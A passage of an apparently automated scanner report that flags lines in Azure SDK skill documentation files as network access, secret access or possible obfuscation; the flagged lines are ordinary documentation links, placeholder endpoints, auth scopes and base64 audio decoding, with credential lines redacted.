  • Network accessline 63
    image_url = "https://example.com/image.jpg"

skills/azure-ai-voicelive-dotnet/SKILL.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 42
    Uri endpoint = new Uri("https://your-resource.cognitiveservices.azure.com");
  • Network accessline 52
    Uri endpoint = new Uri("https://your-resource.cognitiveservices.azure.com");
  • Network accessline 262
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.VoiceLive |
  • Network accessline 263
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.VoiceLive | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.voicelive |
  • Network accessline 264
    | NuGet Package | https://www.nuget.org/packages/Azure.AI.VoiceLive |
  • Network accessline 265
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.voicelive |
  • Network accessline 266
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.VoiceLive |
  • Network accessline 267
    | Quickstart | https://learn.microsoft.com/azure/ai-services/speech-service/voice-live-quickstart |

skills/azure-ai-voicelive-java/SKILL.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Network accessline 224
    | Resource | URL | |----------|-----| | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive |
  • Network accessline 225
    |----------|-----| | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive | | Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive/src/samples |
  • Network accessline 226
    | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive |
  • Network accessline 227
    | Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-voicelive/src/samples |

skills/azure-ai-voicelive-py/SKILL.md

  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 36
    credential=DefaultAzureCredential(),     model="gpt-4o-realtime-preview",     credential_scopes=["https://cognitiveservices.azure.com/.default"]
  • Network accessline 37
    model="gpt-4o-realtime-preview",     credential_scopes=["https://cognitiveservices.azure.com/.default"] ) as conn:
  • Network accessline 38
    credential_scopes=["https://cognitiveservices.azure.com/.default"]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 67
    credential=DefaultAzureCredential(),         model="gpt-4o-realtime-preview",         credential_scopes=["https://cognitiveservices.azure.com/.default"]
  • Network accessline 68
    model="gpt-4o-realtime-preview",         credential_scopes=["https://cognitiveservices.azure.com/.default"]     ) as conn:
  • Network accessline 69
    credential_scopes=["https://cognitiveservices.azure.com/.default"]
  • Possible obfuscationline 157
    audio_bytes = base64.b64decode(event.delta)
  • Possible obfuscationline 192
    audio = base64.b64decode(event.delta)

skills/azure-ai-voicelive-ts/SKILL.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 46
    const credential = new DefaultAzureCredential(); const endpoint = "https://your-resource.cognitiveservices.azure.com";
  • Network accessline 47
    const endpoint = "https://your-resource.cognitiveservices.azure.com";
  • Network accessline 58
    const endpoint = "https://your-resource.cognitiveservices.azure.com";
  • Network accessline 462
    | Resource | URL | |----------|-----| | npm Package | https://www.npmjs.com/package/@azure/ai-voicelive |
  • Network accessline 463
    |----------|-----| | npm Package | https://www.npmjs.com/package/@azure/ai-voicelive | | GitHub Source | https://github.com/Azure/azure-sdk-for-js/tree/main/sdk/ai/ai-voicelive |
  • Network accessline 464
    | npm Package | https://www.npmjs.com/package/@azure/ai-voicelive |
  • Network accessline 465
    | GitHub Source | https://github.com/Azure/azure-sdk-for-js/tree/main/sdk/ai/ai-voicelive |
  • Network accessline 466
    | Samples | https://github.com/Azure/azure-sdk-for-js/tree/main/sdk/ai/ai-voicelive/samples |
  • Network accessline 467
    | API Reference | https://learn.microsoft.com/javascript/api/@azure/ai-voicelive |

skills/azure-appconfiguration-java/SKILL.md

  • Network accessline 298
    SecretReferenceConfigurationSetting secretRef = new SecretReferenceConfigurationSetting(     "app/secrets/api-key",     "https://myvault.vault.azure.net/secrets/api-key"
  • Network accessline 299
    "app/secrets/api-key",     "https://myvault.vault.azure.net/secrets/api-key" );
  • Network accessline 300
    "https://myvault.vault.azure.net/secrets/api-key"
  • Network accessline 465
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-data-appconfiguration |
  • Network accessline 466
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-data-appconfiguration | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/appconfiguration/azure-data-appconfiguration |
  • Network accessline 467
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-data-appconfiguration |
  • Network accessline 468
    | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/appconfiguration/azure-data-appconfiguration |
  • Network accessline 469
    | API Documentation | https://aka.ms/java-docs |
  • Network accessline 470
    | Product Docs | https://learn.microsoft.com/azure/azure-app-configuration |
  • Network accessline 471
    | Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/appconfiguration/azure-data-appconfiguration/src/samples |
  • Network accessline 472
    | Troubleshooting | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/appconfiguration/azure-data-appconfiguration/TROUBLESHOOTING.md |

skills/azure-appconfiguration-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]

skills/azure-appconfiguration-ts/SKILL.md

  • Network accessline 29
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]

skills/azure-communication-callautomation-java/SKILL.md

  • Network accessline 65
    List.of(target))                                // Targets     .setSourceCallerId(caller)     .setCallbackUrl("https://your-app.com/api/callbacks");
  • Network accessline 67
    .setCallbackUrl("https://your-app.com/api/callbacks");
  • Network accessline 79
    AnswerCallOptions options = new AnswerCallOptions(     incomingCallContext,     "https://your-app.com/api/callbacks");
  • Network accessline 81
    "https://your-app.com/api/callbacks");
  • Network accessline 104
    // Play audio file FileSource fileSource = new FileSource()     .setUrl("https://storage.blob.core.windows.net/audio/greeting.wav");
  • Network accessline 106
    .setUrl("https://storage.blob.core.windows.net/audio/greeting.wav");
  • Network accessline 245
    AZURE_COMMUNICATION_ENDPOINT=https://<resource>.communication.azure.com AZURE_COMMUNICATION_CONNECTION_STRING=endpoint=https://...;accesskey=...
  • Network accessline 246
    AZURE_COMMUNICATION_CONNECTION_STRING=endpoint=https://...;accesskey=...
  • Network accessline 247
    CALLBACK_BASE_URL=https://your-app.com/api/callbacks

skills/azure-communication-common-java/SKILL.md

  • Network accessline 104
    String resourceEndpoint = "https://<resource>.communication.azure.com"; List<String> scopes = Arrays.asList(     "https://auth.msft.communication.azure.com/TeamsExtension.ManageCalls"
  • Network accessline 105
    List<String> scopes = Arrays.asList(     "https://auth.msft.communication.azure.com/TeamsExtension.ManageCalls" );
  • Network accessline 106
    "https://auth.msft.communication.azure.com/TeamsExtension.ManageCalls"

skills/azure-communication-sms-java/SKILL.md

  • Network accessline 258
    AZURE_COMMUNICATION_ENDPOINT=https://<resource>.communication.azure.com AZURE_COMMUNICATION_CONNECTION_STRING=endpoint=https://...;accesskey=...
  • Network accessline 259
    AZURE_COMMUNICATION_CONNECTION_STRING=endpoint=https://...;accesskey=...

skills/azure-compute-batch-java/SKILL.md

  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 374
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-compute-batch |
  • Network accessline 375
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-compute-batch | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/batch/azure-compute-batch |
  • Network accessline 376
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-compute-batch |
  • Network accessline 377
    | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/batch/azure-compute-batch |
  • Network accessline 378
    | API Documentation | https://learn.microsoft.com/java/api/com.azure.compute.batch |
  • Network accessline 379
    | Product Docs | https://learn.microsoft.com/azure/batch/ |
  • Network accessline 380
    | REST API | https://learn.microsoft.com/rest/api/batchservice/ |
  • Network accessline 381
    | Samples | https://github.com/azure/azure-batch-samples |

skills/azure-containerregistry-py/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 46
    client = ContainerRegistryClient(     endpoint="https://mcr.microsoft.com",
  • Network accessline 47
    endpoint="https://mcr.microsoft.com",
  • Network accessline 48
    credential=None,     audience="https://mcr.microsoft.com" )
  • Network accessline 49
    audience="https://mcr.microsoft.com"

skills/azure-cosmos-db-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 46
    client = CosmosClient(     url="https://localhost:8081",
  • Network accessline 47
    url="https://localhost:8081",
  • Access to secretsline 48
    [Credential-related source omitted]

skills/azure-cosmos-java/SKILL.md

  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 253
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-cosmos |
  • Network accessline 254
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-cosmos | | API Documentation | https://azuresdkdocs.z19.web.core.windows.net/java/azure-cosmos/latest/index.html |
  • Network accessline 255
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-cosmos |
  • Network accessline 256
    | API Documentation | https://azuresdkdocs.z19.web.core.windows.net/java/azure-cosmos/latest/index.html |
  • Network accessline 257
    | Product Docs | https://learn.microsoft.com/azure/cosmos-db/ |
  • Network accessline 258
    | Samples | https://github.com/Azure-Samples/azure-cosmos-java-sql-api-samples |
  • Network accessline 259
    | Performance Guide | https://learn.microsoft.com/azure/cosmos-db/performance-tips-java-sdk-v4-sql |
  • Network accessline 260
    | Troubleshooting | https://learn.microsoft.com/azure/cosmos-db/troubleshoot-java-sdk-v4-sql |

skills/azure-cosmos-rust/SKILL.md

  • Network accessline 133
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_data_cosmos |
  • Network accessline 134
    |----------|------| | API Reference | https://docs.rs/azure_data_cosmos | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/cosmos/azure_data_cosmos |
  • Network accessline 135
    | API Reference | https://docs.rs/azure_data_cosmos |
  • Network accessline 136
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/cosmos/azure_data_cosmos |
  • Network accessline 137
    | crates.io | https://crates.io/crates/azure_data_cosmos |

skills/azure-cosmos-ts/SKILL.md

  • Access to secretsline 59
    [Credential-related source omitted]

skills/azure-eventgrid-dotnet/SKILL.md

  • Network accessline 70
    EventGridPublisherClient client = new(     new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"),
  • Network accessline 71
    new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"),
  • Network accessline 81
    EventGridPublisherClient client = new(     new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"),
  • Network accessline 82
    new Uri("https://mytopic.eastus-1.eventgrid.azure.net/api/events"),
  • Network accessline 484
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.EventGrid |
  • Network accessline 485
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.EventGrid | | API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.eventgrid |
  • Network accessline 486
    | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.EventGrid |
  • Network accessline 487
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.eventgrid |
  • Network accessline 488
    | Quickstart | https://learn.microsoft.com/azure/event-grid/custom-event-quickstart |
  • Network accessline 489
    | Pull Delivery | https://learn.microsoft.com/azure/event-grid/pull-delivery-overview |
  • Network accessline 490
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/eventgrid/Azure.Messaging.EventGrid |

skills/azure-eventgrid-py/SKILL.md

  • Network accessline 100
    subject="items/123",                   # Optional: subject/path     datacontenttype="application/json",   # Optional: content type     dataschema="https://schema.example",  # Optional: schema URL
  • Network accessline 101
    datacontenttype="application/json",   # Optional: content type     dataschema="https://schema.example",  # Optional: schema URL     time=datetime.now(timezone.utc),      # Optional: timestamp
  • Network accessline 102
    dataschema="https://schema.example",  # Optional: schema URL

skills/azure-eventhub-rust/SKILL.md

  • Network accessline 125
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_messaging_eventhubs |
  • Network accessline 126
    |----------|------| | API Reference | https://docs.rs/azure_messaging_eventhubs | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/eventhubs/azure_messaging_eventhubs |
  • Network accessline 127
    | API Reference | https://docs.rs/azure_messaging_eventhubs |
  • Network accessline 128
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/eventhubs/azure_messaging_eventhubs |
  • Network accessline 129
    | crates.io | https://crates.io/crates/azure_messaging_eventhubs |

skills/azure-eventhub-ts/SKILL.md

  • Network accessline 111
    const containerClient = new ContainerClient(   `https://${storageAccount}.blob.core.windows.net/${containerName}`,
  • Network accessline 112
    `https://${storageAccount}.blob.core.windows.net/${containerName}`,

skills/azure-identity-dotnet/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 72
    var credential = new DefaultAzureCredential(); var blobClient = new BlobServiceClient(     new Uri("https://myaccount.blob.core.windows.net"),
  • Network accessline 73
    var blobClient = new BlobServiceClient(     new Uri("https://myaccount.blob.core.windows.net"),     credential);
  • Network accessline 74
    new Uri("https://myaccount.blob.core.windows.net"),
  • Network accessline 85
    {     clientBuilder.AddBlobServiceClient(         new Uri("https://myaccount.blob.core.windows.net"));
  • Network accessline 86
    clientBuilder.AddBlobServiceClient(         new Uri("https://myaccount.blob.core.windows.net"));     clientBuilder.AddSecretClient(
  • Network accessline 87
    new Uri("https://myaccount.blob.core.windows.net"));
  • Network accessline 89
    new Uri("https://myvault.vault.azure.net"));
  • Network accessline 137
    var client = new SecretClient(     new Uri("https://myvault.vault.azure.net"),
  • Network accessline 138
    new Uri("https://myvault.vault.azure.net"),
  • Network accessline 159
    var client = new SecretClient(     new Uri("https://myvault.vault.azure.net"),
  • Network accessline 160
    new Uri("https://myvault.vault.azure.net"),
  • Network accessline 284
    var client = new SecretClient(     new Uri("https://myvault.vault.azure.net"),
  • Network accessline 285
    new Uri("https://myvault.vault.azure.net"),
  • Network accessline 335
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Identity |
  • Network accessline 336
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Identity | | API Reference | https://learn.microsoft.com/dotnet/api/azure.identity |
  • Network accessline 337
    | NuGet Package | https://www.nuget.org/packages/Azure.Identity |
  • Network accessline 338
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.identity |
  • Network accessline 339
    | Credential Chains | https://learn.microsoft.com/dotnet/azure/sdk/authentication/credential-chains |
  • Network accessline 340
    | Best Practices | https://learn.microsoft.com/dotnet/azure/sdk/authentication/best-practices |
  • Network accessline 341
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/identity/Azure.Identity |

skills/azure-identity-java/SKILL.md

  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 199
    InteractiveBrowserCredential credential = new InteractiveBrowserCredentialBuilder()     .clientId("<client-id>")     .redirectUrl("http://localhost:8080")  // Must match app registration
  • Network accessline 200
    .clientId("<client-id>")     .redirectUrl("http://localhost:8080")  // Must match app registration     .build();
  • Network accessline 201
    .redirectUrl("http://localhost:8080")  // Must match app registration
  • Network accessline 294
    [Credential-related source omitted]
  • Network accessline 295
    [Credential-related source omitted]
  • Network accessline 296
    .addScopes("https://management.azure.com/.default"));
  • Access to secretsline 326
    [Credential-related source omitted]
  • Network accessline 337
    # Authority host AZURE_AUTHORITY_HOST=https://login.microsoftonline.com/
  • Network accessline 338
    AZURE_AUTHORITY_HOST=https://login.microsoftonline.com/

skills/azure-identity-py/SKILL.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Network accessline 159
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Network accessline 163
    [Credential-related source omitted]
  • Network accessline 164
    [Credential-related source omitted]

skills/azure-identity-rust/SKILL.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 41
    let credential = DeveloperToolsCredential::new(None)?; let client = SecretClient::new(     "https://my-vault.vault.azure.net/",
  • Network accessline 42
    let client = SecretClient::new(     "https://my-vault.vault.azure.net/",     credential.clone(),
  • Network accessline 43
    "https://my-vault.vault.azure.net/",
  • Network accessline 113
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_identity |
  • Network accessline 114
    |----------|------| | API Reference | https://docs.rs/azure_identity | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/identity/azure_identity |
  • Network accessline 115
    | API Reference | https://docs.rs/azure_identity |
  • Network accessline 116
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/identity/azure_identity |
  • Network accessline 117
    | crates.io | https://crates.io/crates/azure_identity |

skills/azure-identity-ts/SKILL.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 232
    const getAccessToken = getBearerTokenProvider(   credential,   "https://cognitiveservices.azure.com/.default"
  • Network accessline 233
    credential,   "https://cognitiveservices.azure.com/.default" );
  • Network accessline 234
    "https://cognitiveservices.azure.com/.default"

skills/azure-keyvault-certificates-rust/SKILL.md

  • Network accessline 175
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_certificates |
  • Network accessline 176
    |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_certificates | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_certificates |
  • Network accessline 177
    | API Reference | https://docs.rs/azure_security_keyvault_certificates |
  • Network accessline 178
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_certificates |
  • Network accessline 179
    | crates.io | https://crates.io/crates/azure_security_keyvault_certificates |

skills/azure-keyvault-keys-rust/SKILL.md

  • Network accessline 165
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_keys |
  • Network accessline 166
    |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_keys | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_keys |
  • Network accessline 167
    | API Reference | https://docs.rs/azure_security_keyvault_keys |
  • Network accessline 168
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_keys |
  • Network accessline 169
    | crates.io | https://crates.io/crates/azure_security_keyvault_keys |

skills/azure-keyvault-keys-ts/SKILL.md

  • Network accessline 34
    const credential = new DefaultAzureCredential(); const vaultUrl = `https://${process.env.AZURE_KEYVAULT_NAME}.vault.azure.net`;
  • Network accessline 35
    const vaultUrl = `https://${process.env.AZURE_KEYVAULT_NAME}.vault.azure.net`;

skills/azure-keyvault-secrets-rust/SKILL.md

  • Network accessline 140
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_secrets |
  • Network accessline 141
    |----------|------| | API Reference | https://docs.rs/azure_security_keyvault_secrets | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_secrets |
  • Network accessline 142
    | API Reference | https://docs.rs/azure_security_keyvault_secrets |
  • Network accessline 143
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/keyvault/azure_security_keyvault_secrets |
  • Network accessline 144
    | crates.io | https://crates.io/crates/azure_security_keyvault_secrets |

skills/azure-keyvault-secrets-ts/SKILL.md

  • Network accessline 34
    const credential = new DefaultAzureCredential(); const vaultUrl = `https://${process.env.AZURE_KEYVAULT_NAME}.vault.azure.net`;
  • Network accessline 35
    const vaultUrl = `https://${process.env.AZURE_KEYVAULT_NAME}.vault.azure.net`;

skills/azure-maps-search-dotnet/SKILL.md

  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 490
    | Resource | URL | |----------|-----| | Azure Maps Documentation | https://learn.microsoft.com/azure/azure-maps/ |
  • Network accessline 491
    |----------|-----| | Azure Maps Documentation | https://learn.microsoft.com/azure/azure-maps/ | | Search API Reference | https://learn.microsoft.com/dotnet/api/azure.maps.search |
  • Network accessline 492
    | Azure Maps Documentation | https://learn.microsoft.com/azure/azure-maps/ |
  • Network accessline 493
    | Search API Reference | https://learn.microsoft.com/dotnet/api/azure.maps.search |
  • Network accessline 494
    | Routing API Reference | https://learn.microsoft.com/dotnet/api/azure.maps.routing |
  • Network accessline 495
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/maps |
  • Network accessline 496
    | Pricing | https://azure.microsoft.com/pricing/details/azure-maps/ |

skills/azure-messaging-webpubsubservice-py/SKILL.md

  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]

skills/azure-mgmt-apicenter-dotnet/SKILL.md

  • Network accessline 111
    TermsOfService = new ApiTermsOfService     {         Uri = new Uri("https://example.com/terms")
  • Network accessline 112
    {         Uri = new Uri("https://example.com/terms")     },
  • Network accessline 113
    Uri = new Uri("https://example.com/terms")
  • Network accessline 118
    {             Title = "Documentation",             Uri = new Uri("https://docs.example.com/orders")
  • Network accessline 119
    Title = "Documentation",             Uri = new Uri("https://docs.example.com/orders")         }
  • Network accessline 120
    Uri = new Uri("https://docs.example.com/orders")
  • Network accessline 222
    Server = new ApiCenterEnvironmentServer     {         ManagementPortalUris = { new Uri("https://portal.azure.com") }
  • Network accessline 223
    {         ManagementPortalUris = { new Uri("https://portal.azure.com") }     },
  • Network accessline 224
    ManagementPortalUris = { new Uri("https://portal.azure.com") }
  • Network accessline 227
    {         Instructions = "Contact platform team for access",         DeveloperPortalUris = { new Uri("https://developer.example.com") }
  • Network accessline 228
    Instructions = "Contact platform team for access",         DeveloperPortalUris = { new Uri("https://developer.example.com") }     }
  • Network accessline 229
    DeveloperPortalUris = { new Uri("https://developer.example.com") }
  • Network accessline 258
    Server = new ApiCenterDeploymentServer     {         RuntimeUris = { new Uri("https://api.example.com/orders") }
  • Network accessline 259
    {         RuntimeUris = { new Uri("https://api.example.com/orders") }     }
  • Network accessline 260
    RuntimeUris = { new Uri("https://api.example.com/orders") }
  • Network accessline 408
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApiCenter |
  • Network accessline 409
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApiCenter | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.apicenter |
  • Network accessline 410
    | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApiCenter |
  • Network accessline 411
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.apicenter |
  • Network accessline 412
    | Product Documentation | https://learn.microsoft.com/azure/api-center/ |
  • Network accessline 413
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/apicenter/Azure.ResourceManager.ApiCenter |

skills/azure-mgmt-apicenter-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 80
    kind=ApiKind.REST,         lifecycle_stage=LifecycleStage.PRODUCTION,         terms_of_service={"url": "https://example.com/terms"},
  • Network accessline 81
    lifecycle_stage=LifecycleStage.PRODUCTION,         terms_of_service={"url": "https://example.com/terms"},         contacts=[{"name": "API Team", "email": "api-team@example.com"}]
  • Network accessline 82
    terms_of_service={"url": "https://example.com/terms"},
  • Network accessline 174
    description="Production environment",         kind=EnvironmentKind.PRODUCTION,         server={"type": "Azure API Management", "management_portal_uri": ["https://portal.azure.com"]}
  • Network accessline 175
    kind=EnvironmentKind.PRODUCTION,         server={"type": "Azure API Management", "management_portal_uri": ["https://portal.azure.com"]}     )
  • Network accessline 176
    server={"type": "Azure API Management", "management_portal_uri": ["https://portal.azure.com"]}
  • Network accessline 196
    definition_id="/workspaces/default/apis/my-api/versions/v1/definitions/openapi",         state=DeploymentState.ACTIVE,         server={"runtime_uri": ["https://api.example.com"]}
  • Network accessline 197
    state=DeploymentState.ACTIVE,         server={"runtime_uri": ["https://api.example.com"]}     )
  • Network accessline 198
    server={"runtime_uri": ["https://api.example.com"]}

skills/azure-mgmt-apimanagement-dotnet/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 119
    Path = "myapi",     Protocols = { ApiOperationInvokableProtocol.Https },     ServiceUri = new Uri("https://backend.contoso.com/api")
  • Network accessline 120
    Protocols = { ApiOperationInvokableProtocol.Https },     ServiceUri = new Uri("https://backend.contoso.com/api") };
  • Network accessline 121
    ServiceUri = new Uri("https://backend.contoso.com/api")
  • Network accessline 308
    | Resource | Purpose | |----------|---------| | [API Management Documentation](https://learn.microsoft.com/en-us/azure/api-management/) | Official Azure docs |
  • Network accessline 309
    |----------|---------| | [API Management Documentation](https://learn.microsoft.com/en-us/azure/api-management/) | Official Azure docs | | [Policy Reference](https://learn.microsoft.com/en-us/azure/api-management/api-management-policies) | 
  • Network accessline 310
    | [API Management Documentation](https://learn.microsoft.com/en-us/azure/api-management/) | Official Azure docs |
  • Network accessline 311
    | [Policy Reference](https://learn.microsoft.com/en-us/azure/api-management/api-management-policies) | Complete policy reference |
  • Network accessline 312
    | [SDK Reference](https://learn.microsoft.com/en-us/dotnet/api/azure.resourcemanager.apimanagement) | .NET API reference |

skills/azure-mgmt-apimanagement-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 102
    protocols=[Protocol.HTTPS],         format=ContentFormat.OPENAPI_LINK,         value="https://petstore.swagger.io/v2/swagger.json"
  • Network accessline 103
    format=ContentFormat.OPENAPI_LINK,         value="https://petstore.swagger.io/v2/swagger.json"     )
  • Network accessline 104
    value="https://petstore.swagger.io/v2/swagger.json"
  • Network accessline 230
    backend_id="my-backend",     parameters=BackendContract(         url="https://api.backend.example.com",
  • Network accessline 231
    parameters=BackendContract(         url="https://api.backend.example.com",         protocol="http",
  • Network accessline 232
    url="https://api.backend.example.com",

skills/azure-mgmt-applicationinsights-dotnet/SKILL.md

  • Network accessline 173
    WebTest = """             <WebTest Name="Homepage" Enabled="True" Timeout="120"                       xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010">
  • Network accessline 174
    <WebTest Name="Homepage" Enabled="True" Timeout="120"                       xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010">                 <Items>
  • Network accessline 175
    xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010">
  • Network accessline 176
    <Items>                     <Request Method="GET" Version="1.1" Url="https://myapp.example.com"                               ThinkTime="0" Timeout="120" ParseDependentRequests="False"
  • Network accessline 177
    <Request Method="GET" Version="1.1" Url="https://myapp.example.com"
  • Network accessline 218
    WebTest = """             <WebTest Name="LoginFlow" Enabled="True" Timeout="300"                      xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010">
  • Network accessline 219
    <WebTest Name="LoginFlow" Enabled="True" Timeout="300"                      xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010">                 <Items>
  • Network accessline 220
    xmlns="http://microsoft.com/schemas/VisualStudio/TeamTest/2010">
  • Network accessline 221
    <Items>                     <Request Method="GET" Version="1.1" Url="https://myapp.example.com/login"                               ThinkTime="0" Timeout="60" />
  • Network accessline 222
    <Request Method="GET" Version="1.1" Url="https://myapp.example.com/login"
  • Network accessline 223
    ThinkTime="0" Timeout="60" />                     <Request Method="POST" Version="1.1" Url="https://myapp.example.com/api/auth"                               ThinkTime="0" Timeout="60">
  • Network accessline 224
    <Request Method="POST" Version="1.1" Url="https://myapp.example.com/api/auth"
  • Network accessline 483
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApplicationInsights |
  • Network accessline 484
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApplicationInsights | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.applicationinsights |
  • Network accessline 485
    | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.ApplicationInsights |
  • Network accessline 486
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.applicationinsights |
  • Network accessline 487
    | Product Documentation | https://learn.microsoft.com/azure/azure-monitor/app/app-insights-overview |
  • Network accessline 488
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/applicationinsights/Azure.ResourceManager.ApplicationInsights |

skills/azure-mgmt-arizeaiobservabilityeval-dotnet/SKILL.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 230
    - [NuGet Package](https://www.nuget.org/packages/Azure.ResourceManager.ArizeAIObservabilityEval)
  • Network accessline 231
    - [Azure SDK for .NET](https://github.com/Azure/azure-sdk-for-net)
  • Network accessline 232
    - [Arize AI](https://arize.com/)

skills/azure-mgmt-botservice-dotnet/SKILL.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 77
    Properties = new BotProperties(         displayName: "MyBot",         endpoint: new Uri("https://mybot.azurewebsites.net/api/messages"),
